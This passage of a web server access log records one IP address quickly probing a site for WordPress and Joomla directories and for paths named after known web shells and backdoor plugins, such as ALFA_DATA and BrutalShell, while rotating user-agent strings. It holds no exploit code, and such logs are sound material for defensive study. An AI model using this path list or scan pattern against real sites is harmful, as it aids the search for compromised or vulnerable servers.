-0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:18 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:18 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:18 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:18 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:19 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:19 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:19 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:19 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:20 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:28:20 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:20 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:20 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:20 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:21 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:21 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:21 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:21 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:21 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:22 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:22 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:22 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:22 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:22 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:23 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:23 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:23 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.178.164 - - [25/Apr/2025:11:28:23 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:24 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:24 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.178.164 - - [25/Apr/2025:11:28:24 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:24 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:24 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:24 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:25 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.178.164 - - [25/Apr/2025:11:28:25 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.178.164 - - [25/Apr/2025:11:28:25 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:25 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:26 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:26 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:26 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:26 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:26 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:26 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.178.164 - - [25/Apr/2025:11:28:27 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.178.164 - - [25/Apr/2025:11:28:27 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:27 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:27 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:28 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:28 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.178.164 - - [25/Apr/2025:11:28:28 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.178.164 - - [25/Apr/2025:11:28:28 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:28 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.178.164 - - [25/Apr/2025:11:28:29 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:29 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:29 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:29 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:30 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:30 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:30 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:30 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.178.164 - - [25/Apr/2025:11:28:30 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:31 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:31 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.178.164 - - [25/Apr/2025:11:28:31 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:31 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.178.164 - - [25/Apr/2025:11:28:31 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:32 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.178.164 - - [25/Apr/2025:11:28:32 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:32 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:32 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:32 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:33 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:33 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:34 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:34 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:28:34 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.178.164 - - [25/Apr/2025:11:28:34 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:28:35 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:28:35 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:35 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.178.164 - - [25/Apr/2025:11:28:35 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.178.164 - - [25/Apr/2025:11:28:36 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:36 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:36 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:36 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:36 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:37 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:37 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:37 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:37 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:37 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:38 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:38 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:28:38 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:38 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:38 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:39 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:39 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:39 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:39 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:39 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.178.164 - - [25/Apr/2025:11:28:40 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:40 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:40 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:40 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:41 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:41 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:41 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:41 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:41 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:42 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:42 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 